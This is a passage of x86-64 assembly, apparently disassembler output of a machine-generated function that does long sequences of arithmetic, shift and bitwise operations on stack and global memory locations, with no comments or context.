mov ecx, dword [rsp + 0x4f54]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9890]
mov dword [rcx], eax
lea rax, [rsp + 0x4eac]
mov qword [rsp + 0x9ba0], rax
movsx eax, word [rsp + 0x10cc]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd4]
mov rcx, qword [rsp + 0x8f80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e87a5], al
movzx eax, byte [rsp + 0xb3]
movzx ecx, byte [rsp + 0x90]
xor eax, ecx
mov byte [rsp + 0x9c], al
movzx eax, word [rsp + 0xff0]
mov word [rsp + 0x1180], ax
movzx eax, byte [rsp + 0xa4]
mov rcx, qword [rsp + 0x9288]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
lea rax, [rsp + 0x99b0]
mov qword [rsp + 0x9ba8], rax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94a0]
mov qword [rsp + 0x9bb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9bb0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9008], rax
mov rax, qword [rsp + 0x9988]
mov ecx, dword [rsp + 0x4f44]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e64], eax
mov eax, dword [rsp + 0x4ed4]
mov dword [rsp + 0x4fa4], eax
mov rax, qword [rsp + 0x8eb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1164]
and eax, ecx
mov rcx, qword [rsp + 0x97b0]
mov word [rcx], ax
lea rax, [rsp + 0xd0]
mov qword [0x1401e8980], rax
lea rax, [rsp + 0x10f8]
mov qword [rsp + 0x9bb8], rax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x93], al
movzx eax, word [rsp + 0x10dc]
movzx ecx, word [rsp + 0x1098]
sub eax, ecx
mov rcx, qword [rsp + 0x91b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7d]
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x97a8]
mov rcx, qword [rsp + 0x8ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e84], eax
lea rax, [0x1401e7008]
mov qword [rsp + 0x9bc0], rax
mov rax, qword [rsp + 0x9268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9318]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc8], rax
mov rax, qword [rsp + 0x8f40]
mov rcx, qword [rsp + 0x98b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9958]
mov qword [rcx], rax
mov rax, qword [rsp + 0x98d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x90c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e70a0], ax
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x9950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x91b8]
mov word [rcx], ax
lea rax, [rsp + 0xc3]
mov qword [rsp + 0x9bc8], rax
movsx eax, word [rsp + 0x1070]
movsx ecx, word [rsp + 0x1178]
add eax, ecx
mov word [rsp + 0x10f4], ax
mov rax, qword [rsp + 0x98f0]
mov rax, qword [rax]
mov qword [rsp + 0x9bd0], rax
mov rax, qword [rsp + 0x9738]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9668]
mov qword [rsp + 0x9bd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9bd8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ed0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d50], eax
mov rax, qword [rsp + 0x9af0]
mov rax, qword [rax]
mov qword [rsp + 0x9be0], rax
lea rax, [0x1401e8795]
mov qword [0x1401e8988], rax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x8e38]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x92c0]
mov byte [rcx], al
lea rax, [rsp + 0x1074]
mov qword [rsp + 0x9be8], rax
mov rax, qword [rsp + 0x9340]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcd]
shl eax, cl
mov byte [rsp + 0xc6], al
movsx eax, word [rsp + 0x114c]
mov rcx, qword [rsp + 0x8f50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x103c], ax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov qword [rsp + 0x9bf0], rax
mov rax, qword [rsp + 0x9710]
mov ecx, dword [rsp + 0x4e20]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9298]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ed8]
mov eax, dword [rax]
mov dword [rsp + 0x4fa8], eax
mov rax, qword [rsp + 0x8df8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b20], rax
mov rax, qword [rsp + 0x9ad0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8980]
mov byte [rcx], al
movzx eax, word [rsp + 0x1098]
movzx ecx, word [rsp + 0x106c]
sub eax, ecx
mov rcx, qword [rsp + 0x98e0]
mov word [rcx], ax
lea rax, [rsp + 0xa2]
mov qword [rsp + 0x9bf8], rax
mov rax, qword [rsp + 0x9968]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1114]
sub eax, ecx
mov word [rsp + 0x1024], ax
lea rax, [rsp + 0x110c]
mov qword [rsp + 0x9c00], rax
mov rax, qword [rsp + 0x9878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x9250]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9860], rax
lea rax, [rsp + 0x4db4]
mov qword [rsp + 0x9c08], rax
mov rax, qword [rsp + 0x9790]
mov rcx, qword [rsp + 0x8f40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96b0]
mov qword [rcx], rax
lea rax, [rsp + 0x1050]
mov qword [0x1401e8990], rax
movzx eax, byte [rsp + 0xd1]
mov byte [rsp + 0xe0], al
movzx eax, byte [rsp + 0xc1]
mov rcx, qword [rsp + 0x9b28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xcf], al
movzx eax, word [rsp + 0x108c]
mov word [rsp + 0x1184], ax
mov rax, qword [rsp + 0x9660]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ad0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8f80]
mov byte [rcx], al
mov rax, qword [rsp + 0x9598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fa0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9738]
mov dword [rcx], eax
mov rax, qword [0x1401e7018]
mov qword [rsp + 0x9c10], rax
mov rax, qword [rsp + 0x9130]
movzx ecx, al
mov rax, qword [rsp + 0x9280]
sar rax, cl
mov qword [rsp + 0x9098], rax
lea rax, [rsp + 0x4e28]
mov qword [rsp + 0x9c18], rax
mov rax, qword [rsp + 0x9688]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e8898], ax
movzx eax, byte [rsp + 0xbe]
mov rcx, qword [rsp + 0x9010]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fe0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1024], ax
mov rax, qword [0x1401e87c0]
movzx eax, byte [rax]
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x9030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9260]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10b8], ax
lea rax, [rsp + 0x4d84]
mov qword [rsp + 0x9c20], rax
mov eax, dword [rsp + 0x4f10]
mov ecx, dword [rsp + 0x4eb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4db4], eax
mov rax, qword [rsp + 0x8af8]
mov rcx, qword [rsp + 0x9a08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fe8], rax
mov rax, qword [rsp + 0x8e98]
mov qword [rsp + 0x9c28], rax
movsx eax, byte [0x1401e7027]
movsx ecx, byte [rsp + 0x7a]
sub eax, ecx
mov byte [0x1401e703e], al
mov rax, qword [rsp + 0x98d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a48]
mov word [rcx], ax
movzx eax, word [rsp + 0x1020]
mov word [rsp + 0x1188], ax
mov rax, qword [0x1401e8920]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9460]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x71], al
lea rax, [rsp + 0x98]
mov qword [rsp + 0x9c30], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9940]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9700]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9368]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9af0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e6c]
mov qword [rsp + 0x9c38], rax
mov rax, qword [rsp + 0x98b8]
mov rcx, qword [rsp + 0x92e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x99a8], rax
mov rax, qword [0x1401e88c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbf]
shl eax, cl
mov byte [str._DM_b], al
movzx eax, word [rsp + 0x1094]
mov word [rsp + 0x118c], ax
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xa6], al
mov rax, qword [rsp + 0x9a10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10ac]
or eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
lea rax, [rsp + 0x1094]
mov qword [rsp + 0x9c40], rax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0x9418]
mov qword [rsp + 0x9c48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9c48]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x93e0], rax
lea rax, [rsp + 0x4ed0]
mov qword [rsp + 0x9c50], rax
mov eax, dword [rsp + 0x4f94]
mov ecx, dword [rsp + 0x4ea0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f9c], eax
mov rax, qword [rsp + 0x9078]
mov rcx, qword [rsp + 0x98a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9058], rax
movzx eax, word [rsp + 0x106c]
mov word [rsp + 0x1190], ax
mov rax, qword [rsp + 0x97c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9290]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e703f], al
movzx eax, byte [rsp + 0x77]
mov rcx, qword [0x1401e8848]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x85], al
lea rax, [rsp + 0x104c]
mov qword [rsp + 0x9c58], rax
mov rax, qword [rsp + 0x9b90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9bf8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9138]
mov ecx, dword [rsp + 0x4e68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f20], eax
lea rax, [rsp + 0x98b0]
mov qword [rsp + 0x9c60], rax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0x9970]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d88], eax
lea rax, [rsp + 0x8d40]
mov qword [rsp + 0x9c68], rax
mov rax, qword [rsp + 0x9590]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91b8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f38]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd6]
movsx ecx, byte [rsp + 0xd3]
sub eax, ecx
mov byte [0x1401e8792], al
movzx eax, byte [0x1401e7024]
mov byte [rsp + 0xe2], al
movsx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x96e0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9390]
mov byte [rcx], al
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
sar eax, cl
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8d08]
mov rax, qword [rax]
mov qword [rsp + 0x9c70], rax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x8d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9620]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96c0]
mov eax, dword [rax]
mov dword [rsp + 0x4fac], eax
mov rax, qword [rsp + 0x8e58]
movzx ecx, al
mov rax, qword [rsp + 0x8e30]
shl rax, cl
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
movzx eax, word [rsp + 0x10d8]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
lea rax, [rsp + 0xb9]
mov qword [0x1401e8998], rax
lea rax, [0x1401e88d8]
mov qword [rsp + 0x9c78], rax
movsx eax, word [rsp + 0x10a8]
movsx ecx, word [rsp + 0x110c]
add eax, ecx
mov rcx, qword [rsp + 0x8eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x9138]
mov rcx, qword [rsp + 0x96a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9498]
mov ecx, dword [rsp + 0x4f10]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9ab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97e8]
mov qword [rsp + 0x9c80], rax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x96d0]
mov qword [rcx], rax
lea rax, [rsp + 0x1104]
mov qword [rsp + 0x9c88], rax
movzx eax, byte [rsp + 0x82]
movzx ecx, byte [rsp + 0x87]
and eax, ecx
mov byte [0x1401e8795], al
mov rax, qword [rsp + 0x8fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9788]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1038], ax
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0xe4], al
movsx eax, word [rsp + 0x1140]
mov rcx, qword [rsp + 0x92e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a68]
mov word [rcx], ax
movzx eax, word [0x1401e889c]
mov rcx, qword [rsp + 0x9a10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xff4], ax
lea rax, [rsp + 0x4e6c]
mov qword [rsp + 0x9c90], rax
mov rax, qword [rsp + 0x9510]
mov rcx, qword [rsp + 0x9768]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x90b8], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0x9c98], rax
mov rax, qword [rsp + 0x9378]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d00]
sar eax, cl
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
lea rax, [rsp + 0x93]
mov qword [0x1401e89a0], rax
mov rax, qword [rsp + 0x91b0]
movsx eax, word [rax]
movsx ecx, word [0x1401e87f0]
or eax, ecx
mov rcx, qword [rsp + 0x8f00]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b80]
movzx eax, byte [rax]
mov byte [rsp + 0xe5], al
movzx eax, byte [rsp + 0x88]
movzx ecx, byte [rsp + 0x95]
xor eax, ecx
mov byte [rsp + 0x71], al
lea rax, [rsp + 0x10b4]
mov qword [rsp + 0x9ca0], rax
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9970]
mov qword [rsp + 0x9ca8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ca8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4eb8], eax
mov eax, dword [rsp + 0x4f90]
imul eax, dword [rsp + 0x4e1c]
mov dword [rsp + 0x4e68], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0x9cb0], rax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9468]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9320], rax
movsx eax, word [rsp + 0x1050]
mov rcx, qword [rsp + 0x9b60]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7088], ax
mov rax, qword [0x1401e8850]
movzx eax, byte [rax]
mov byte [rsp + 0xe6], al
movsx eax, byte [rsp + 0xd4]
movsx ecx, byte [rsp + 0xd0]
add eax, ecx
mov byte [rsp + 0xa0], al
movsx eax, byte [rsp + 0xd2]
movsx ecx, byte [rsp + 0xc3]
add eax, ecx
mov rcx, qword [rsp + 0x94b0]
mov byte [rcx], al
lea rax, [0x1401e87e0]
mov qword [rsp + 0x9cb8], rax
mov rax, qword [rsp + 0x8e50]
mov rcx, qword [rsp + 0x9c70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c80], rax
mov rax, qword [rsp + 0x9120]
mov rax, qword [rax]
mov qword [rsp + 0x9cc0], rax
mov eax, dword [rsp + 0x4e54]
mov ecx, dword [rsp + 0x4f58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e68], eax
mov eax, dword [rsp + 0x4f44]
mov dword [rsp + 0x4fb0], eax
mov rax, qword [rsp + 0x90c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1134]
and eax, ecx
mov word [0x1401e8790], ax
movzx eax, word [rsp + 0x1114]
movzx ecx, word [rsp + 0x10f8]
sub eax, ecx
mov word [rsp + 0x1184], ax
movsx eax, word [rsp + 0x1070]
movsx ecx, word [rsp + 0x1094]
sub eax, ecx
mov rcx, qword [rsp + 0x9260]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb2]
mov byte [rsp + 0xe7], al
mov rax, qword [0x1401e8810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x8ad0]
mov qword [rsp + 0x9cc8], rax
mov eax, dword [rsp + 0x4f9c]
movzx ecx, al
mov eax, dword [rsp + 0x4d00]
sar eax, cl
mov rcx, qword [rsp + 0x9a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ea0]
mov eax, dword [rax]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e00], eax
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov qword [rsp + 0x9cd0], rax
mov rax, qword [rsp + 0x9240]
movzx eax, word [rax]
mov word [0x1401e89a8], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8800]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0x9cb8]
movzx eax, word [rax]
mov word [rsp + 0x1194], ax
movsx eax, byte [rsp + 0xaf]
movsx ecx, byte [rsp + 0xb5]
shl eax, cl
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
and eax, ecx
mov byte [rsp + 0x9a], al
lea rax, [rsp + 0x4e44]
mov qword [rsp + 0x9cd8], rax
mov rax, qword [rsp + 0x95c0]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ddc], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0x9ce0], rax
mov rax, qword [rsp + 0x9658]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9728]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9470]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e70a4], ax
movzx eax, word [rsp + 0x10c8]
mov rcx, qword [rsp + 0x8e80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1074], ax
lea rax, [rsp + 0xe6]
mov qword [rsp + 0x9ce8], rax
movzx eax, word [rsp + 0xff8]
movzx ecx, word [rsp + 0x10c4]
add eax, ecx
mov word [rsp + 0x1184], ax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x9ad8]
mov rcx, qword [rsp + 0x9700]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f90], rax
lea rax, [rsp + 0x4f50]
mov qword [rsp + 0x9cf0], rax
mov rax, qword [rsp + 0x9840]
mov ecx, dword [rsp + 0x4e58]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e9c], eax
mov rax, qword [rsp + 0x90f0]
mov rcx, qword [rsp + 0x9b10]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x94c8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1140]
movsx ecx, word [0x1401e708c]
shl eax, cl
mov word [0x1401e7088], ax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov word [rsp + 0x1198], ax
mov rax, qword [rsp + 0x9070]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa2]
sar eax, cl
mov rcx, qword [rsp + 0x9010]
mov byte [rcx], al
lea rax, [rsp + 0x1070]
mov qword [rsp + 0x9cf8], rax
movsx eax, byte [rsp + 0xc2]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x9180]
mov rcx, qword [rsp + 0x8d50]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b20], rax
lea rax, [rsp + 0x4e64]
mov qword [rsp + 0x9d00], rax
mov rax, qword [rsp + 0x8fd0]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90b0]
mov qword [rcx], rax
lea rax, [rsp + 0x4ef4]
mov qword [rsp + 0x9d08], rax
mov rax, qword [rsp + 0x8c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa0]
and eax, ecx
mov byte [0x1401e7042], al
mov rax, qword [rsp + 0x92c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa1]
add eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9460]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9288]
mov byte [rcx], al
movzx eax, word [rsp + 0x1168]
mov word [rsp + 0x119c], ax
mov rax, qword [rsp + 0x8e80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x106c]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a38]
mov qword [rsp + 0x9d10], rax
mov rax, qword [rsp + 0x98e8]
mov ecx, dword [rsp + 0x4d84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ecc], eax
lea rax, [rsp + 0x4f48]
mov qword [rsp + 0x9d18], rax
mov rax, qword [rsp + 0x91a8]
mov rcx, qword [rsp + 0x9b98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x99b0], rax
movsx eax, word [rsp + 0x1014]
mov rcx, qword [rsp + 0x9470]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x8b]
movsx ecx, byte [rsp + 0x94]
add eax, ecx
mov byte [0x1401e7037], al
lea rax, [rsp + 0x1160]
mov qword [rsp + 0x9d20], rax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbe]
and eax, ecx
mov byte [rsp + 0xb4], al
lea rax, [rsp + 0xb7]
mov qword [rsp + 0x9d28], rax
mov rax, qword [rsp + 0x9a30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9538]
mov qword [rsp + 0x9d30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d30]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x93d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f2c]
mov ecx, dword [rsp + 0x4e64]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9678]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9820]
mov rax, qword [rax]
mov qword [rsp + 0x9d38], rax
mov rax, qword [rsp + 0x9c68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8d40]
shr rax, cl
mov qword [rsp + 0x95f8], rax
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0xe9], al
lea rax, [rsp + 0x1164]
mov qword [0x1401e89b0], rax
mov rax, qword [rsp + 0x9b28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb3]
or eax, ecx
mov byte [rsp + 0x82], al
mov rax, qword [rsp + 0x8bf8]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8960]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc4], al
movzx eax, word [rsp + 0x1138]
mov word [rsp + 0x11a0], ax
mov rax, qword [rsp + 0x9040]
mov rcx, qword [rsp + 0x95f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f40], rax
lea rax, [rsp + 0x4e5c]
mov qword [rsp + 0x9d40], rax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x9ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f30], eax
mov rax, qword [rsp + 0x9b20]
mov rcx, qword [rsp + 0x9048]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9250]
mov qword [rcx], rax
lea rax, [0x1401e8790]
mov qword [rsp + 0x9d48], rax
movzx eax, byte [rsp + 0xa5]
movzx ecx, byte [rsp + 0xe2]
sub eax, ecx
mov rcx, qword [0x1401e87c0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x92c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [0x1401e87a8]
movzx eax, word [rax]
mov word [rsp + 0x11a4], ax
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1188]
add eax, ecx
mov rcx, qword [rsp + 0x9528]
mov word [rcx], ax
lea rax, [rsp + 0x4f00]
mov qword [rsp + 0x9d50], rax
mov rax, qword [rsp + 0x98f8]
mov rcx, qword [rsp + 0x9600]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9168]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fb8]
mov rcx, qword [rsp + 0x9860]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9320], rax
lea rax, [rsp + 0x4e48]
mov qword [rsp + 0x9d58], rax
movzx eax, word [rsp + 0x106c]
movzx ecx, word [0x1401e7074]
add eax, ecx
mov rcx, qword [rsp + 0x98e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x97f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e8794], al
lea rax, [rsp + 0xe2]
mov qword [rsp + 0x9d60], rax
movsx eax, word [0x1401e8790]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x108c]
mov rcx, qword [rsp + 0x9cb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x10e0], ax
movzx eax, byte [rsp + 0xe9]
mov byte [rsp + 0xea], al
mov rax, qword [rsp + 0x98f8]
mov rcx, qword [rsp + 0x9ba8]
